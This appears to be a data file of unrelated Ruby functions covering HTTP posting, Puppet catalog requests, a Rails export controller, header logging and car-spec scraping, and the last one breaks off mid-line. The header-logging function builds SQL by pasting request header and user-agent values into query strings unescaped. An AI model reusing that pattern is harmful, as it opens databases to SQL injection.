"def post_single_url(url,serv,q,variable_name,usr,pass)\n\n useragent = \"NotubeMiniCrawler/0.1\"\n u = URI.parse serv \n# req = Net::HTTP::Post.new(u.request_uri,{'User-Agent' => useragent})\n puts \"posting to #{serv} variable_name #{variable_name}\"\n if (u.query)\n req = Net::HTTP::Post.new(u.path+ '?' + u.query,{'User-Agent' => useragent})\n else\n req = Net::HTTP::Post.new(u.path,{'User-Agent' => useragent})\n end\n if(variable_name)\n req.set_form_data({variable_name=>q}, ';')\n else\n req.set_form_data({'url'=>url}, ';')\n end\n req.basic_auth usr,pass\n\n begin \n res2 = Net::HTTP.new(u.host, u.port).start {|http|http.request(req) }\n end\n\n r = \"\"\n begin\n r = res2.body\n rescue OpenURI::HTTPError=>e\n case e.to_s \n when /^404/\n raise 'Not Found'\n when /^304/\n raise 'No Info'\n end\n end\n return r\nend",
"def puppet_catalog_api\n {\n 2 => {\n url: \"https://#{@options[:puppet_master]}/#{@options[:branch]}/catalog/#{@node}\",\n parameters: {\n 'facts_format' => 'pson',\n 'facts' => CGI.escape(@facts.fudge_timestamp.without('trusted').to_pson),\n 'transaction_uuid' => SecureRandom.uuid\n }\n },\n 3 => {\n url: \"https://#{@options[:puppet_master]}/puppet/v3/catalog/#{@node}\",\n parameters: {\n 'environment' => @options[:branch],\n 'facts_format' => 'pson',\n 'facts' => CGI.escape(@facts.fudge_timestamp.without('trusted').to_pson),\n 'transaction_uuid' => SecureRandom.uuid\n }\n }\n }\n end",
"def further_details \n {\n 'referer_host' => 'referer_path',\n 'referer_path' => 'referer_params',\n \n 'agent.name' => 'agent.major_version',\n 'agent.os' => 'agent.name',\n 'agent.major_version' => 'agent.full_version',\n 'agent.engine_name' => 'agent.engine_version', \n }\n end",
"def access_level(filename)\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(filename)}/)[6].text\n end",
"def filter_header?(lkey)\n puts \"MY LKEY: |#{lkey}|\" if @debug == true\n case \n when lkey == \"cookie\"\n catch_header(lkey) if @debug == true\n return true\n when lkey == \"range\"\n catch_header(lkey) if @debug == true\n return true\n when lkey =~ %r=^get |^post |^head =\n catch_header(lkey, \"Seen this unsure why it even occurs yet !\") if @debug == true\n return true\n else\n return false\n end\n end\n \n # Right Cell eval\n def rkey_decode(rkey)\n rkeyenc = URI.decode(rkey)\n end\n \n # Filter lkey = header, rkey = requestdata\n def lkey_strip(hdrs)\n hdrs.split(\": \")[0].downcase.gsub(\"-\", \"\").to_s.strip\n end\n \n def rkey_strip(data)\n data.split(\": \")[1].to_s.strip #to_s.gsub(\",\", \"\").gsub(\";\", \"\").gsub(\"=\", \"\").strip\n end\n \n # Filter request data and build query\n def request_filter(data)\n flt = Stopwatch.new\n flt.watch('start')\n if !request_valid?(data)\n sql = \"SELECT 1;\"\n return sql\n end\n guid = Tools::guid\n cols, vals = String.new, String.new\n lkey, rkey = String.new, String.new\n sql_ua, json_data_pieces = String.new, String.new\n t = 0\n json_data_hdr = '{ \"http\": { '\n json_data_ftr = \" } }\"\n sql = \"INSERT INTO #{@reqtable} (recv_time,recv_date,guid,json_data) \"\n data.each_line {|n|\n unless n.strip == \"\"\n if t > 0 # Don't processes GET / POST Line\n lkey, rkey = lkey_strip(n), rkey_strip(n)\n puts \"LKEY: #{lkey} RKEY: #{rkey}\" if @debug == true\n rkeyenc = filter_header?(lkey)\n if rkeyenc == false\n rkeyenc = rkey_decode(rkey)\n if lkey == \"useragent\"\n ua = Tools::ua_parser(rkeyenc)\n sql_ua = \"INSERT INTO #{@reqtableua} (family, \"\n sql_ua << \"major, minor, \" unless ua.version == nil\n sql_ua << \"os, guid) \"\n sql_ua << \"VALUES ('#{ua.family}', \"\n sql_ua << \"'#{ua.version.major}', '#{ua.version.minor}', \" unless ua.version == nil\n sql_ua << \"'#{ua.os.to_s}', '#{guid}');\"\n end\n else \n rkey = \"ommited\"\n end\n if rkey != \"\" or lkey != \"\"\n prerkeyins = rkey.gsub('\"', '') # Strip Quotes\n prerkeyins = \"blank\" if prerkeyins.strip == \"\" # Seems JSON values can't be \"accept\":\"\"\n puts \"Found Blank Value!!!\" if prerkeyins == \"blank\"\n json_data_pieces << %Q{\"#{lkey}\": \"#{prerkeyins}\",} if lkey != \"useragent\"\n end\n end\n t += 1\n end\n }\n # Store the URL in the JSON unless its blank\n # Build JSON Manually as i bet its faster than using some JSON encoder where it has to convert from Array etc.\n json_data_pieces << %Q{\"url\":\"#{@makeurl_last}\",\"} unless @makeurl_last == \"\"\n # SQL for Datastore\n begin\n # Remove last , to fix hash table\n json_data_pieces.sub!(%r{,\"$}, \"\")\n json_data = \"#{json_data_hdr}#{json_data_pieces}#{json_data_ftr}\"\n puts \"\\e[4;36mJSON Data:\\e[0m\\ \\n#{json_data}\"\n puts \"JSON Data: #{json_data}\" if @debug == true\n # Added GUID as i could extend TCP/IP capture suites in the future for HTTP traffic \n sql = \"#{sql}VALUES (NOW(), NOW(), '#{guid}', '#{json_data}');\"\n flt.watch('stop')\n print \"\\e[4;36mFilter Time Taken:\\e[0m\\ \"\n flt.print_stats\n return [sql, sql_ua]\n rescue => e\n pp e\n end\n end\n \n include TextProcessing\n\n end",
"def download\r\n\r\n @restricted_fields = []\r\n @no_menubar\t= true\r\n @no_links\t= true\r\n @no_filterbar\t= true\r\n @no_row_links\t= true\r\n pagin_opts\t\t = {:include => [:home_page_profiles,:user_accesses,:profile_accesses]}\r\n pagin_opts[:order]\t = @default_order if @default_order\r\n pagin_opts[:order]\t||= \"accesses.#{params[:sort_by]}\" if !params[:sort_by].blank?\r\n pagin_opts[:conditions] ||= @default_filter\r\n pagin_opts[:joins]\t||= @joins_fields || []\r\n\r\n # pagin_opts[:select]\t||= \"`accesses`.`app_sid`,`accesses`.`set_sid`,`accesses`.`table_sid`,`accesses`.`field_sid`,`accesses`.`action_sid`,`accesses`.`type_sid`\" unless params[:format] == 'html'\r\n\r\n if params[:id] && params[:id].to_i > 0\r\n @access = Access.find_by_id(params[:id], pagin_opts)\r\n if !@access\r\n flash[:warning] = _(\"Error: %{obj} not found!\") % {:obj => _(%q[Access])}\r\n begin\r\n redirect_to :back\r\n rescue\r\n redirect_to :action => :list\r\n end\r\n return\r\n end\r\n f_name = @access.disp_name\r\n respond_to do |format|\r\n format.html {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/accesses/show.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"#{f_name}.html\", :disposition => 'attachment', :type => 'text/html;charset=utf-8') }\r\n format.doc {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/accesses/show.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"#{f_name}.doc\", :disposition => 'attachment', :type => 'application/msword;charset=utf-8') }\r\n format.pdf {\r\n @pdf = true\r\n @debug_pdf = params[:debug_pdf]\r\n params[:format] = 'html'\r\n html = render_to_string(:template => '/accesses/show.html.erb', :format => :html, :id => @access.id, :layout => 'pdf')\r\n html.gsub!(/\\/images\\//, Rails.root.join('public', 'images/')) if !params[:debug_pdf]\r\n render(:text => html, :layout => 'pdf') and return if params[:debug_pdf]\r\n kit = PDFKit.new(html, :encoding => 'UTF-8')\r\n kit.stylesheets << Rails.root.join('public', 'stylesheets', 'pdf.css')\r\n pdf = kit.to_pdf\r\n send_data(pdf, :filename => \"#{@access.disp_name}.pdf\") unless params[:debug_pdf] || pdf.blank?\r\n\r\n # send_data(render_to_string(:format => :html, :layout => false, :action => :show, :id => @access.id), :filename => \"#{f_name}.pdf\", :disposition => 'attachment', :type => 'application/pdf;charset=utf-8')\r\n\r\n return\r\n }\r\n format.xml {\r\n send_data(@access.to_xml, :filename => \"#{f_name}.xml\", :disposition => 'attachment', :type => 'text/xml;charset=utf-8')}\r\n format.json {\r\n send_data(@access.to_json, :filename => \"#{f_name}.json\", :disposition => 'attachment', :type => 'text/json;charset=utf-8')}\r\n format.xls {\r\n book = Spreadsheet::Workbook.new\r\n sheet = book.create_worksheet(:name => \"accesses\")\r\n sheet.row(0).concat([\"Application\", \"Set\", \"Table\", \"Field\", \"Action\", \"Type\", \"Home Page Profiles\", \"User Accesses\", \"Profile Accesses\"])\r\n sheet.row(1).replace([@access.app_sid, @access.set_sid, @access.table_sid, @access.field_sid, @access.action_sid, @access.type_sid, @access.home_page_profiles.map(&:disp_name).to_sentence, @access.user_accesses.map(&:disp_name).to_sentence, @access.profile_accesses.map(&:disp_name).to_sentence])\r\n fname = \"accesses.xls\"\r\n tmp = Tempfile.new(fname)\r\n book.write(tmp.path)\r\n tmp.close\r\n send_file(tmp.path, :filename => fname)\r\n }\r\n format.csv { row = @access\r\n @csv_string = FasterCSV.generate({:encoding => 'UTF-8', :col_sep => (SystemSetting['csv_export_separator'] || ';')}) do |csv|\r\n cols = []\r\n Access::FIELDS.each{|k,v| cols << k if [:string, :text, :integer, :float, :date, :time, :datetime, :timestamp, :ho_assoc, :bt_assoc].include? v}\r\n cols.reject!{|c| [:users, :profiles].include?(c) }\r\n csv << cols.map{|c|\r\n if [:ho_assoc, :bt_assoc].include?(Access::FIELDS[c])\r\n v = row.send(c) ; v ? v.disp_name : nil\r\n else\r\n row.send(c)\r\n end\r\n }\r\n end\r\n @export_encoding ||= SystemSetting['csv_export_encoding'] || 'UTF-16LE'\r\n conv = Iconv.new(@export_encoding, 'UTF-8')\r\n send_data(conv.iconv(@csv_string), :filename => \"#{f_name}.csv\", :disposition => 'attachment', :type => \"text/csv;charset=#{@export_encoding.downcase}\")\r\n return\r\n }\r\n end\r\n else\r\n pagin_opts[:page] = 1\r\n pagin_opts[:per_page] = Access.count+1\r\n @accesses = Access.paginate(pagin_opts)\r\n respond_to do |format|\r\n format.html {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/accesses/list.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"accesses.html\", :disposition => 'attachment', :type => 'text/html;charset=utf-8') }\r\n format.doc {\r\n @no_menubar = true\r\n @no_links = true\r\n data = render_to_string(:template => '/accesses/list.html.erb', :layout => 'minimal').gsub(/\\ssrc=\\\"\\//, %Q[ src=\"#{request.protocol}#{request.host_with_port}/])\r\n send_data(data, :filename => \"accesses.doc\", :disposition => 'attachment', :type => 'application/msword;charset=utf-8') }\r\n format.pdf {\r\n @pdf = true\r\n @debug_pdf = params[:debug_pdf]\r\n params[:format] = 'html'\r\n html = render_to_string(:template => '/accesses/list.html.erb', :layout => 'pdf')\r\n html.gsub!(/\\/images\\//, Rails.root.join('public', 'images/')) if !params[:debug_pdf]\r\n render(:text => html, :layout => 'pdf') and return if params[:debug_pdf]\r\n kit = PDFKit.new(html, :encoding => 'UTF-8')\r\n kit.stylesheets << Rails.root.join('public', 'stylesheets', 'pdf.css')\r\n pdf = kit.to_pdf\r\n send_data(pdf, :filename => \"accesses.pdf\") unless params[:debug_pdf] || pdf.blank?\r\n\r\n # send_data(render_to_string(:layout => false, :action => :list), :filename => \"accesses.pdf\", :disposition => 'attachment', :type => 'application/pdf;charset=utf-8')\r\n\r\n }\r\n format.xml {\r\n send_data(@accesses.to_xml, :filename => ('accesses.xml'), :disposition => 'attachment', :type => 'text/xml;charset=utf-8')}\r\n format.xls {\r\n book = Spreadsheet::Workbook.new\r\n sheet = book.create_worksheet(:name => \"accesses\")\r\n sheet.row(0).concat([\"Application\", \"Set\", \"Table\", \"Field\", \"Action\", \"Type\", \"Home Page Profiles\", \"User Accesses\", \"Profile Accesses\"])\r\n @accesses.each_with_index do |row,i|\r\n sheet.row(i+1).replace([row.app_sid, row.set_sid, row.table_sid, row.field_sid, row.action_sid, row.type_sid, row.home_page_profiles.map(&:disp_name).to_sentence, row.user_accesses.map(&:disp_name).to_sentence, row.profile_accesses.map(&:disp_name).to_sentence])\r\n end\r\n fname = \"accesses.xls\"\r\n tmp = Tempfile.new(fname)\r\n book.write(tmp.path)\r\n tmp.close\r\n send_file(tmp.path, :filename => fname)\r\n }\r\n format.csv {\r\n @csv_string = FasterCSV.generate({:encoding => 'UTF-8', :col_sep => (SystemSetting['csv_export_separator'] || ';')}) do |csv|\r\n cols = []\r\n Access::FIELDS.each{|k,v| cols << k if [:string, :text, :integer, :float, :date, :time, :datetime, :timestamp, :ho_assoc, :bt_assoc].include? v}\r\n cols.reject!{|c| [:users, :profiles].include?(c) }\r\n csv << cols.map{|c| _(c.titleize)}\r\n @accesses.map{|row|\r\n csv << cols.map {|c|\r\n if [:ho_assoc, :bt_assoc].include?(Access::FIELDS[c])\r\n v = row.send(c) ; v ? v.disp_name : nil\r\n else\r\n row.send(c)\r\n end\r\n }\r\n }\r\n end\r\n @export_encoding ||= SystemSetting['csv_export_encoding'] || 'UTF-16LE'\r\n conv = Iconv.new(@export_encoding, 'UTF-8')\r\n send_data(conv.iconv(@csv_string), :filename => \"accesses.csv\", :disposition => 'attachment', :type => \"text/csv;charset=#{@export_encoding.downcase}\")\r\n }\r\n end\r\n end\r\n end",
"def process_specification_page(response_body, short_dataset_only=true)\n hash = {}\n\n if !response_body.nil?\n doc = Nokogiri.HTML(response_body)\n\n # msrp\n hash['msrp'] = nil\n x = doc.css('#style-price a').first\n hash['msrp'] = x.text.gsub('$', '').gsub(',', '').to_i if !x.nil? && x.text.length > 0\n\n get_specifications_value(doc, hash, 'style', 'Style Name')\n get_specifications_value(doc, hash, 'body_style', 'Body Style')\n get_specifications_value(doc, hash, 'passenger_doors', 'Passenger Doors', integer: true)\n get_specifications_value(doc, hash, 'transmission', 'Transmission')\n\n # DIMENSIONS\n get_specifications_value(doc, hash, 'epa_classification', 'EPA Classification')\n get_specifications_value(doc, hash, 'passenger_capacity', 'Passenger Capacity', integer: true)\n get_specifications_value(doc, hash, 'front_head_room', 'Front Head Room (in)', float: true)\n get_specifications_value(doc, hash, 'front_shoulder_room', 'Front Shoulder Room (in)', float: true)\n get_specifications_value(doc, hash, 'front_hip_room', 'Front Hip Room (in)', float: true)\n get_specifications_value(doc, hash, 'front_leg_room', 'Front Leg Room (in)', float: true)\n get_specifications_value(doc, hash, 'second_head_room', 'Second Head Room (in)', float: true)\n get_specifications_value(doc, hash, 'second_shoulder_room', 'Second Shoulder Room (in)', float: true)\n get_specifications_value(doc, hash, 'second_hip_room', 'Second Hip Room (in)', float: true)\n get_specifications_value(doc, hash, 'second_leg_room', 'Second Leg Room (in)', float: true)\n get_specifications_value(doc, hash, 'third_head_room', 'Third Head Room (in)', float: true)\n get_specifications_value(doc, hash, 'third_shoulder_room', 'Third Shoulder Room (in)', float: true)\n get_specifications_value(doc, hash, 'third_hip_room', 'Third Hip Room (in)', float: true)\n get_specifications_value(doc, hash, 'third_leg_room', 'Third Leg Room (in)', float: true)\n\n get_specifications_value(doc, hash, 'width', 'Width, Max w/o mirrors (in)', float: true)\n get_specifications_value(doc, hash, 'height', 'Height, Overall (in)', float: true)\n get_specifications_value(doc, hash, 'length', 'Length, Overall (in)', float: true)\n get_specifications_value(doc, hash, 'ground_clearance', 'Min Ground Clearance (in)', float: true)\n\n get_specifications_value(doc, hash, 'trunk_volume', 'Trunk Volume (ft³)', float: true)\n get_specifications_value(doc, hash, 'cargo_area_width', 'Cargo Box Width @ Wheelhousings (in)', float: true)\n get_specifications_value(doc, hash, 'cargo_area_height', 'Cargo Box (Area) Height (in)', float: true)\n get_specifications_value(doc, hash, 'cargo_area_length_floor_to_seat2', 'Cargo Area Length @ Floor to Seat 2 (in)', float: true)\n get_specifications_value(doc, hash, 'cargo_area_volume_to_seat1', 'Cargo Volume to Seat 1 (ft³)', float: true)\n get_specifications_value(doc, hash, 'cargo_area_volume_to_seat2', 'Cargo Volume to Seat 2 (ft³)', float: true)\n get_specifications_value(doc, hash, 'cargo_are_volume_to_seat3', 'Cargo Volume to Seat 3 (ft³)', float: true)\n\n\n # FUEL ECONOMY\n get_specifications_value(doc, hash, 'fuel_tank_capacity', 'Fuel Tank Capacity, Approx (gal)', integer: true)\n get_specifications_value(doc, hash, 'mpg_city', 'EPA Fuel Economy Est - City (MPG)', integer: true)\n get_specifications_value(doc, hash, 'mpg_highway', 'EPA Fuel Economy Est - Hwy (MPG)', integer: true)\n get_specifications_value(doc, hash, 'mpg_combined', 'Fuel Economy Est-Combined (MPG)', integer: true)\n get_specifications_value(doc, hash, 'battery_range', 'Battery Range (mi)')\n get_specifications_value(doc, hash, 'mpg_equivalent_city', 'EPA MPG Equivalent - City')\n get_specifications_value(doc, hash, 'mpg_equivalent_hwy', 'EPA MPG Equivalent - Hwy')\n get_specifications_value(doc, hash, 'mpg_equivalent_combined', 'EPA MPG Equivalent - Combined')\n\n\n # PERFORMANCE SPECS\n get_specifications_value(doc, hash, 'engine_type', 'Engine Type')\n get_specifications_value(doc, hash, 'engine_displacement', 'Displacement')\n get_specifications_value(doc, hash, 'horsepower', 'SAE Net Horsepower @ RPM')\n get_specifications_value(doc, hash, 'fuel_system', 'Fuel System')\n\n get_specifications_value(doc, hash, 'brakes_abs', 'Brake ABS System')\n get_specifications_value(doc, hash, 'brakes_disc_front', 'Disc - Front (Yes or )')\n get_specifications_value(doc, hash, 'brakes_disc_rear', 'Disc - Rear (Yes or )')\n get_specifications_value(doc, hash, 'brakes_drum_rear', 'Drum - Rear (Yes or )')\n\n get_specifications_value(doc, hash, 'steering_type', 'Steering Type')\n get_specifications_value(doc, hash, 'turning_diameter', 'Turning Diameter - Curb to Curb (ft)', float: true)\n\n\n # SAFETY FEATURES\n get_specifications_value(doc, hash, 'air_bag_front_driver', 'Air Bag-Frontal-Driver')\n get_specifications_value(doc, hash, 'air_bag_front_passenger', 'Air Bag-Frontal-Passenger')\n get_specifications_value(doc, hash, 'air_bag_front_passenger_switch', 'Air Bag-Passenger Switch (On/Off)')\n get_specifications_value(doc, hash, 'air_bag_side_head_front', 'Air Bag-Side Head-Front')\n get_specifications_value(doc, hash, 'air_bag_side_body_front', 'Air Bag-Side Body-Front')\n get_specifications_value(doc, hash, 'air_bag_side_head_rear', 'Air Bag-Side Head-Rear')\n get_specifications_value(doc, hash, 'air_bag_side_body_rear', 'Air Bag-Side Body-Rear')\n get_specifications_value(doc, hash, 'brakes_abs', 'Brakes-ABS')\n get_specifications_value(doc, hash, 'child_door_locks', 'Child Safety Rear Door Locks')\n get_specifications_value(doc, hash, 'other_features', 'Other Features')\n\n\n\n # if the entire dataset is desired, continue\n if !short_dataset_only\n\n # DIMENSIONS\n get_specifications_value(doc, hash, 'base_curb_weight', 'Base Curb Weight (lbs)', integer: true)\n get_specifications_value(doc, hash, 'passenger_volume', 'Passenger Volume (ft³)', float: true)\n get_specifications_value(doc, hash, '', 'Gross Combined Wt Rating (lbs)')\n get_specifications_value(doc, hash, '', 'Curb Weight - Front (lbs)')\n get_specifications_value(doc, hash, '', 'Curb Weight - Rear (lbs)')\n get_specifications_value(doc, hash, '', 'Gross Axle Wt Rating - Front (lbs)')\n get_specifications_value(doc, hash, '', 'Gross Axle Wt Rating - Rear (lbs)')\n get_specifications_value(doc, hash, '', 'Gross Vehicle Weight Rating Cap (lbs)')\n\n get_specifications_value(doc, hash, 'wheelbase', 'Wheelbase (in)', float: true)\n get_specifications_value(doc, hash, 'track_width_front', 'Track Width, Front (in)', float: true)\n get_specifications_value(doc, hash, 'track_width_rear', 'Track Width, Rear (in)', float: true)\n get_specifications_value(doc, hash, 'liftover_height', 'Liftover Height (in)', float: true)\n get_specifications_value(doc, hash, '', 'Ground Clearance, Front (in)')\n get_specifications_value(doc, hash, '', 'Overhang, Rear w/o bumper (in)')\n get_specifications_value(doc, hash, '', 'Ground to Top of Frame (in)')\n get_specifications_value(doc, hash, '', 'Cab to End of Frame (in)')\n get_specifications_value(doc, hash, '', 'Ground Clearance, Rear (in)')\n get_specifications_value(doc, hash, '', 'Length, Overall w/o rear bumper (in)')\n get_specifications_value(doc, hash, '', 'Front Bumper to Back of Cab (in)')\n get_specifications_value(doc, hash, '', 'Frame Width, Rear (in)')\n get_specifications_value(doc, hash, '', 'Overhang, Front (in)')\n get_specifications_value(doc, hash, '', 'Ground to Top of Load Floor (in)')\n get_specifications_value(doc, hash, '', 'Cab to Axle (in)')\n get_specifications_value(doc, hash, '', 'Rear Door Type')\n get_specifications_value(doc, hash, '', 'Rear Door Opening Height (in)')\n get_specifications_value(doc, hash, '', 'Step Up Height - Side (in)')\n get_specifications_value(doc, hash, '', 'Side Door Opening Width (in)')\n get_specifications_value(doc, hash, '', 'Overhang, Rear w/bumper (in)')\n get_specifications_value(doc, hash, '', 'Rear Door Opening Width (in)')\n get_specifications_value(doc, hash, '', 'Step Up Height - Front (in)')\n get_specifications_value(doc, hash, '', 'Length, Overall w/rear bumper (in)')\n get_specifications_value(doc, hash, '', 'Side Door Opening Height (in)')\n\n\n get_specifications_value(doc, hash, '', 'Cargo Box Length @ Floor (in)')\n get_specifications_value(doc, hash, '', 'Cargo Box Width @ Floor (in)')\n get_specifications_value(doc, hash, '', 'Cargo Box Width @ Top, Rear (in)')\n get_specifications_value(doc, hash, '', 'Cargo Volume (ft³)')\n get_specifications_value(doc, hash, '', 'Ext\\'d Cab Cargo Volume (ft³)')\n get_specifications_value(doc, hash, '', 'Cargo Area Width @ Beltline (in)')\n get_specifications_value(doc, hash, '', 'Cargo Area Length @ Floor to Seat 1 (in)')\n get_specifications_value(doc, hash, '', 'Tailgate Width (in)')\n get_specifications_value(doc, hash, '', 'Cargo Area Length @ Floor to Seat 4 (in)')\n get_specifications_value(doc, hash, '', 'Cargo Area Length @ Floor to Console (in)')\n get_specifications_value(doc, hash, '', 'Cargo Area Length @ Floor to Seat 3 (in)')\n get_specifications_value(doc, hash, '', 'Cargo Volume to Seat 4 (ft³)')\n get_specifications_value(doc, hash, '', 'Cargo Volume with Rear Seat Up (ft³)')\n get_specifications_value(doc, hash, '', 'Cargo Volume with Rear Seat Down (ft³)')\n\n # PERFORMANCE SPECS\n get_specifications_value(doc, hash, 'torque', 'SAE Net Torque @ RPM')\n get_specifications_value(doc, hash, 'engine_order_code', 'Engine Order Code')\n\n get_specifications_value(doc, hash, '', 'Aux Fuel Tank Location')\n get_specifications_value(doc, hash, '', 'Aux Fuel Tank Capacity, Approx (gal)')\n get_specifications_value(doc, hash, '', 'Fuel Tank Location')\n\n get_specifications_value(doc, hash, '', 'Engine Oil Cooler')\n\n get_specifications_value(doc, hash, 'drivetrain', 'Drivetrain')\n get_specifications_value(doc, hash, 'first_gear_ratio', 'First Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Second Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Third Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Fourth Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Fifth Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Sixth Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Seventh Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Eighth Gear Ratio (:1)')\n get_specifications_value(doc, hash, '', 'Clutch Size (in)')\n get_specifications_value(doc, hash, '', 'Transfer Case Gear Ratio (:1), Low')\n get_specifications_value(doc, hash, '', 'Transfer Case Model')\n get_specifications_value(doc, hash, '', 'Trans Power Take Off')\n get_specifications_value(doc, hash, '', 'Transfer Case Power Take Off')\n get_specifications_value(doc, hash, '', 'Transfer Case Gear Ratio (:1), High')\n get_specifications_value(doc, hash, '', 'Trans PTO Access')\n\n get_specifications_value(doc, hash, '', 'Axle Type - Front')\n get_specifications_value(doc, hash, '', 'Axle Capacity - Front (lbs)')\n get_specifications_value(doc, hash, '', 'Axle Ratio (:1) - Front')\n get_specifications_value(doc, hash, '', 'Axle Type - Rear')\n get_specifications_value(doc, hash, '', 'Axle Ratio (:1) - Rear')\n get_specifications_value(doc, hash, '', 'Axle Capacity - Rear (lbs)')\n get_specifications_value(doc, hash, '', 'Spring Capacity - Front (lbs)')\n get_specifications_value(doc, hash, '', 'Shock Absorber Diameter - Front (mm)')\n get_specifications_value(doc, hash, '', 'Stabilizer Bar Diameter - Front (in)')\n get_specifications_value(doc, hash, '', 'Spring Capacity - Rear (lbs)')\n get_specifications_value(doc, hash, '', 'Shock Absorber Diameter - Rear (mm)')\n get_specifications_value(doc, hash, '', 'Stabilizer Bar Diameter - Rear (in)')\n\n get_specifications_value(doc, hash, 'reverse_ratio', 'Reverse Ratio (:1)', float: true)\n get_specifications_value(doc, hash, 'final_drive_axle_ratio', 'Final Drive Axle Ratio (:1)', float: true)\n get_specifications_value(doc, hash, 'trans_type', 'Trans Type')\n get_specifications_value(doc, hash, 'trans_desc_cont', 'Trans Description Cont.')\n get_specifications_value(doc, hash, 'trans_desc_cont2', 'Trans Description Cont. Again')\n get_specifications_value(doc, hash, 'trans_order_code', 'Trans Order Code')\n\n get_specifications_value(doc, hash, 'brakes_front_drum_thickness', 'Front Brake Rotor Diam x Thickness (in)', float: true)\n get_specifications_value(doc, hash, 'brakes_rear_drum_thickness', 'Rear Brake Rotor Diam x Thickness (in)', float: true)\n get_specifications_value(doc, hash, 'brakes_rear_drum_width', 'Rear Drum Diam x Width (in)', float: true)\n get_specifications_value(doc, hash, '', 'Brake Type')\n get_specifications_value(doc, hash, '', 'Brake ABS System (Second Line)')\n\n get_specifications_value(doc, hash, '', 'Steering Ratio (:1), On Center')\n get_specifications_value(doc, hash, '', 'Turning Diameter - Wall to Wall (ft)')\n get_specifications_value(doc, hash, '', 'Steering Ratio (:1), At Lock')\n\n get_specifications_value(doc, hash, '', 'Revolutions/Mile @ 45 mph - Rear')\n get_specifications_value(doc, hash, '', 'Spare Tire Capacity (lbs)')\n get_specifications_value(doc, hash, '', 'Front Tire Capacity (lbs)')\n get_specifications_value(doc, hash, '', 'Revolutions/Mile @ 45 mph - Spare')\n get_specifications_value(doc, hash, '', 'Revolutions/Mile @ 45 mph - Front')\n get_specifications_value(doc, hash, '', 'Rear Tire Capacity (lbs)')\n\n get_specifications_value(doc, hash, 'tire_front_size', 'Front Tire Size')\n get_specifications_value(doc, hash, 'tire_front_code', 'Front Tire Order Code')\n get_specifications_value(doc, hash, 'tire_rear_size', 'Rear Tire Size')\n get_specifications_value(doc, hash, 'tire_rear_code', 'Rear Tire Order Code')\n get_specifications_value(doc, hash, 'tire_spare_size', 'Spare Tire Size')\n get_specifications_value(doc, hash, 'tire_spare_code', 'Spare Tire Order Code')\n\n get_specifications_value(doc, hash, 'wheel_front_size', 'Front Wheel Size (in)')\n get_specifications_value(doc, hash, 'wheel_front_material', 'Front Wheel Material')\n get_specifications_value(doc, hash, 'wheel_rear_size', 'Rear Wheel Size (in)')\n get_specifications_value(doc, hash, 'wheel_rear_material', 'Rear Wheel Material')\n get_specifications_value(doc, hash, 'wheel_spare_size', 'Spare Wheel Size (in)')\n get_specifications_value(doc, hash, 'wheel_spare_material', 'Spare Wheel Material')\n\n get_specifications_value(doc, hash, 'suspension_type_front', 'Suspension Type - Front')\n get_specifications_value(doc, hash, 'suspension_type_front2', 'Suspension Type - Front (Cont.)')\n get_specifications_value(doc, hash, 'suspension_type_rear', 'Suspension Type - Rear')\n get_specifications_value(doc, hash, 'suspension_type_rear2', 'Suspension Type - Rear (Cont.)')\n\n\n # SAFETY FEATURES\n get_specifications_value(doc, hash, 'daytime_lights', 'Daytime Running Lights')\n get_specifications_value(doc, hash, 'fog_lamps', 'Fog Lamps')\n get_specifications_value(doc, hash, 'night_vision', 'Night Vision')\n get_specifications_value(doc, hash, 'backup_camera', 'Back-Up Camera')\n get_specifications_value(doc, hash, 'parking_aid', 'Parking Aid')\n get_specifications_value(doc, hash, 'traction_control', 'Traction Control')\n get_specifications_value(doc, hash, 'tire_pressure_monitor', 'Tire Pressure Monitor')\n get_specifications_value(doc, hash, 'stability_control', 'Stability Control')\n get_specifications_value(doc, hash, 'rollover_protection_bars', 'Rollover Protection Bars')\n\n\n # WARRANTY\n get_specifications_value(doc, hash, 'warranty_years', 'Basic Years', integer: true)\n get_specifications_value(doc, hash, 'warranty_miles', 'Basic Miles/km')\n get_specifications_value(doc, hash, 'warranty_drivetrain_year', 'Drivetrain Years', integer: true)\n get_specifications_value(doc, hash, 'warranty_drivetrain_mils', 'Drivetrain Miles/km')\n get_specifications_value(doc, hash, 'warranty_corrosion_years', 'Corrosion Years', integer: true)\n get_specifications_value(doc, hash, 'warranty_corrosion_miles', 'Corrosion Miles/km')\n get_specifications_value(doc, hash, 'warranty_roadside_years', 'Roadside Assistance Years', integer: true)\n get_specifications_value(doc, hash, 'warranty_roadside_miles', 'Roadside Assistance Miles/km')\n get_specifications_value(doc, hash, '', 'Hybrid/Electric Components Miles/km')\n get_specifications_value(doc, hash, '', 'Hybrid/Electric Components Years')\n get_specifications_value(doc, hash, '', 'Maintenance Miles/km')\n get_specifications_value(doc, hash, '', 'Maintenance Years')\n get_specifications_value(doc, hash, '', 'Drivetrain Note')\n get_specifications_value(doc, hash, '', 'Maintenance Note')\n get_specifications_value(doc, hash, '', 'Roadside Assistance Note')\n get_specifications_value(doc, hash, '', 'Emissions Miles/km')\n get_specifications_value(doc, hash, '', 'Emissions Years')\n\n\n\n # OTHER SPECS\n get_specifications_value(doc, hash, 'cold_cranking_amps', 'Cold Cranking Amps @ 0° F (Primary)', integer: true)\n get_specifications_value(doc, hash, '', 'Total Cooling System Capacity (qts)')\n get_specifications_value(doc, hash, '', 'Maximum Alternator Watts')\n get_specifications_value(doc, hash, '', 'Cold Cranking Amps @ 0° F (2nd)')\n get_specifications_value(doc, hash, 